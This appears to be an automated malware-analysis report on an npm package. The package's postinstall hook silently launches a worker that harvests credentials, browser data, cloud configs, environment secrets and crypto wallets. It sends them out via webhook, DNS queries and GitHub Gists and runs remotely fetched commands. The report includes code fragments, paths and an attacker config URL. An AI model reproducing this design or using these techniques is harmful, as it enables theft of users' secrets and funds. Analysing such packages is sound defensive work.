Summary
The postinstall hook (lib/setup.js:31) forks lib/worker.js as a detached background process. The worker scans 60+ credential paths (EXFIL_DIRS) including .npmrc, .git-credentials, .ssh/, .aws/credentials, .kube/config, browser Login Data/Cookies, and crypto wallet keystores. It matches private keys, API keys, passwords, AWS keys, and GitHub tokens via regex patterns (lib/scanner-core.js:84-93). Findings are encrypted with Fernet and exfiltrated via three channels: webhook POST (lib/worker.js:751), DNS subdomain exfiltration (lib/worker.js:794), and anonymous GitHub Gist creation (lib/worker.js:824). Remote config from ddjidd564.github.io can deliver additional commands executed via execSync (lib/worker.js:1454-1461). Persistence via ~/.local/share/.integrity_queue and ~/.local/share/.p2024_tokens.
Intent
A comprehensive credential and crypto-wallet stealer that scans the user's home directory for private keys, API tokens, browser logins, cloud credentials, and wallet keystores, then exfiltrates findings through encrypted webhook POSTs, DNS queries, and GitHub Gists — all launched silently via a detached background process at npm install time.
credential_access credential_harvest network_egress download_execute persistence crypto_theft browser_theft reconnaissance agent_config_tamper
Background credential stealer launched at install time critical lib/setup.js:31
lib/setup.js:31 forks lib/worker.js detached with stdio: 'ignore', passing RUN_VERIFICATION=workspace-config-loader env var. The worker scans the entire home directory tree.
Exfiltration to remote webhook via Fernet-encrypted POST critical lib/worker.js:751
lib/worker.js:751 — https.request(webhookUrl, { method: 'POST' }) sends encrypted payload containing scanned credentials. Webhook URLs fetched remotely from ddjidd564.github.io/defi-security-best-practices/config.json (lib/worker.js:938).
DNS exfiltration channel (base32-encoded data in subdomain lookups) critical lib/worker.js:794
lib/worker.js:794 — dns.lookup(encodedPayload + '.' + OOB_DOMAIN) encodes report data as DNS queries for out-of-band exfiltration.
Anonymous GitHub Gist upload as exfil fallback high lib/worker.js:824
lib/worker.js:824 — https.request('https://api.github.com/gists', { method: 'POST' }) creates private gists containing encrypted credential reports.
Remote command execution from fetched config critical lib/worker.js:1454
lib/worker.js:1454-1461 — if remote config contains a 'commands' array, each command is executed via execSync({ timeout: 10000 }).
Crypto wallet keystore brute-force (100+ passwords) high lib/worker.js:74
lib/worker.js:74-105 — COMMON_PASSWORDS list includes wallet-specific passwords (ethereum, bitcoin, solana, metamask, phantom, trustwallet) used to decrypt scrypt-encrypted keystore JSON files.
Browser credential theft (Login Data, Cookies) high lib/worker.js:198
lib/worker.js:198-211 — scans SQLite Login Data and Cookies files from Chrome, Chromium, Brave, Edge across Linux/macOS/Windows.
Cloud and container credential harvesting high lib/worker.js:121
lib/worker.js:121-130, 191-200 — scans .aws/credentials, .gcloud/, .azure/, .docker/config.json, .kube/config, exchange API configs (binance, bybit, okx, kucoin, deribit).
Environment variable exfiltration high lib/worker.js:1504
lib/worker.js:1504-1533 — iterates process.env, extracts keys containing key/secret/token/password/wallet/seed, reports previews (up to 40 chars) of values.
Persistence via local file queue medium lib/worker.js:879
lib/worker.js:879 — writes encrypted payloads to ~/.local/share/.integrity_queue for later exfiltration. Idempotency tokens written to ~/.local/share/.p2024_tokens (lib/scanner-core.js:223).
Obfuscation via Buffer.from([...]) to hide credential keywords medium lib/worker.js:65
lib/worker.js:65-70, 108-111, 115, 122, 1507-1516 — strings like 'private_key', 'mnemonic', 'eth_address', 'password', 'wallet' are constructed from byte arrays to evade static detectors.
Prompt injection via zero-width characters in README medium README.md:401
README.md line 401 contains zero-width characters (possible hidden text or homoglyph trick).